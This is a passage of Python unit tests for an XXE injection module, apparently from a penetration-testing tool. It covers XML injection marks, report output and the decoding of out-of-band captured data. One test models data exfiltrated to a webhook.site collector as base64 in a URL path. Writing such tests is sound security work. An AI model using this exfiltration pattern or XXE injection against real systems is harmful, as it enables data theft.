conf.data = "<u><n>luther%s</n></u>" % (kb.customInjectionMark or "*")
kb.processUserMarks = True
try:
cleaned = xxe._cleanBody()
self.assertIsNotNone(xxe._MARKER)
self.assertIn(xxe._MARKER, cleaned)
finally:
kb.processUserMarks = False
xxe._MARKER = None
class TestReportMethod(unittest.TestCase):
def test_report_uses_conf_method(self):
captured = []
class _Dumper(object):
def singleString(self, data, content_type=None):
captured.append(data)
old_dumper, old_method, old_beep = conf.get("dumper"), conf.get("method"), conf.get("beep")
conf.dumper, conf.method, conf.beep = _Dumper(), "PUT", False
try:
xxe._report("Title", "Payload")
finally:
conf.dumper, conf.method, conf.beep = old_dumper, old_method, old_beep
self.assertIn("PUT XML body", captured[0])
class TestOobBase64Capture(unittest.TestCase):
def test_path_capture_survives_plus_slash_equals(self):
import base64
from lib.core.convert import getText, decodeBase64
marker = "mk12345678"
raw = b">>>\xff\xfe some + / = data =="
blob = getText(base64.b64encode(raw))
self.assertTrue(any(c in blob for c in "+/=")) # ensure the risky chars are present
url = "http://webhook.site/tok/%s/%s" % (marker, blob) # base64 in the PATH
m = re.search(r"/%s/([A-Za-z0-9+/=]+)" % re.escape(marker), url)
self.assertIsNotNone(m)
self.assertEqual(m.group(1), blob)
self.assertEqual(decodeBase64(m.group(1)), raw)
class TestDetectionMocked(unittest.TestCase):
def setUp(self):
self._send = xxe._send